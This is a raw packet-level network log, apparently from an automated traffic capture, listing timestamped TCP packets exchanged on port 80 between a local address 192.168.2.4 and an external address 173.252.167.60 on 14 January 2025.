Jan 14, 2025 19:18:00.016947985 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.016952038 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.016969919 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.016982079 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017043114 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017049074 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017059088 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017069101 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017079115 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017096996 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017101049 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017108917 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017121077 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017138004 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017183065 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017194033 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017205954 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017214060 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017218113 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017225027 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017251968 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017280102 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017293930 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017302990 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017312050 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017323017 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017337084 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017366886 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017405033 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017415047 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017426014 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017436028 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017446995 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017468929 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017505884 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017528057 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017544985 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017555952 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017565966 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017575979 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017587900 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017605066 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017637014 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017657042 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017667055 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017677069 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017687082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017698050 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017718077 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017754078 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.017762899 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017774105 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.017811060 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.018085003 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.018147945 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.094530106 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094579935 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094592094 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094609976 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094621897 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094631910 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094644070 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094654083 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094665051 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094675064 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094686985 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094696999 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094693899 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.094707966 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094719887 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094773054 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.094796896 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.094804049 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094815016 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094825983 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094847918 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.094897032 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094907045 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094918013 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094928980 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094939947 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.094945908 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.094973087 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095010996 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095021963 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095032930 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095042944 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095060110 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095082045 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095115900 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095127106 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095138073 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095145941 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095180035 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095185041 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095201015 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095369101 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095380068 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095390081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095400095 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095411062 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095421076 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095421076 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095432997 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095443010 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095453024 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095453024 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095464945 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095474958 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095479965 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095484972 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095495939 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095499039 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095519066 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095535994 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095674038 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095773935 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095782995 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095793009 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095803976 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095813990 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095820904 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095825911 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095837116 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.095858097 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.095890045 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.102684975 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102696896 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102715015 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102725029 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102736950 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102741957 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.102746964 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102757931 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102767944 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102797985 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.102816105 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.102826118 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102847099 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.102884054 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103058100 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103069067 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103079081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103089094 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103100061 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103101969 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103110075 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103142977 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103151083 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103161097 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103169918 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103172064 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103180885 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103192091 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103200912 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103203058 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103212118 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103238106 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103257895 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103269100 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103279114 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103296995 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103306055 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103323936 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103331089 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103333950 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103346109 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103358984 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103379011 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103801966 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103812933 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103827953 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103837967 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103854895 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103858948 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103866100 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103877068 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103877068 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103885889 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103897095 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103908062 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103918076 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103924036 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103935003 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103944063 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103955984 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.103956938 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.103971958 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104024887 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104063034 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104074955 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104084015 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104094982 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104104996 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104120970 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104145050 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104156017 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104167938 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104192019 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104254961 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104265928 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104276896 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104289055 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104310989 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104362965 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104372978 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104383945 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104393959 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104403973 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104407072 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104414940 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104428053 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104445934 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104484081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104583025 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104593992 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104604959 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104614973 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104624987 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.104631901 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.104679108 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181241035 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181274891 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181363106 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181389093 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181415081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181447983 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181463957 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181479931 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181512117 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181526899 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181562901 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181596041 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181608915 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181648016 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181663990 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181687117 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181691885 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181700945 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181723118 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181724072 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181740999 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181755066 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181766987 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181770086 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181790113 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181791067 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181799889 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181808949 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181818962 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181829929 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181838036 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181839943 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181848049 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181859970 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181866884 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181878090 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181879997 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181889057 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181893110 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181899071 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181909084 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181920052 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181940079 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181963921 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181968927 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.181974888 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181984901 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.181993961 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182003975 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182019949 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182023048 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182029963 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182039022 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182041883 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182049990 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182068110 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182069063 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182077885 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182100058 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182111025 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182116032 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182125092 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182135105 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182147026 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182174921 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182290077 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182301044 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182312012 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182322025 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182331085 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182341099 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182353973 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182583094 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182594061 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182604074 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182615042 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182630062 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182636023 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182640076 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182657957 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182668924 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182677031 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182677984 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182689905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.182697058 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.182718992 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189491987 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189532995 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189543009 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189549923 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189585924 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189589977 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189598083 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189608097 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189635038 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189645052 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189646006 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189659119 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189667940 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189671993 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189698935 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189726114 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189735889 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189747095 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189759016 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189786911 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189846992 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189857960 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189867973 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189877987 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189888000 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189898968 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189909935 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189913034 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189929008 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189932108 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.189939976 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189949989 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.189964056 CET	80	49733	173.252.167.60	192.168.2.4
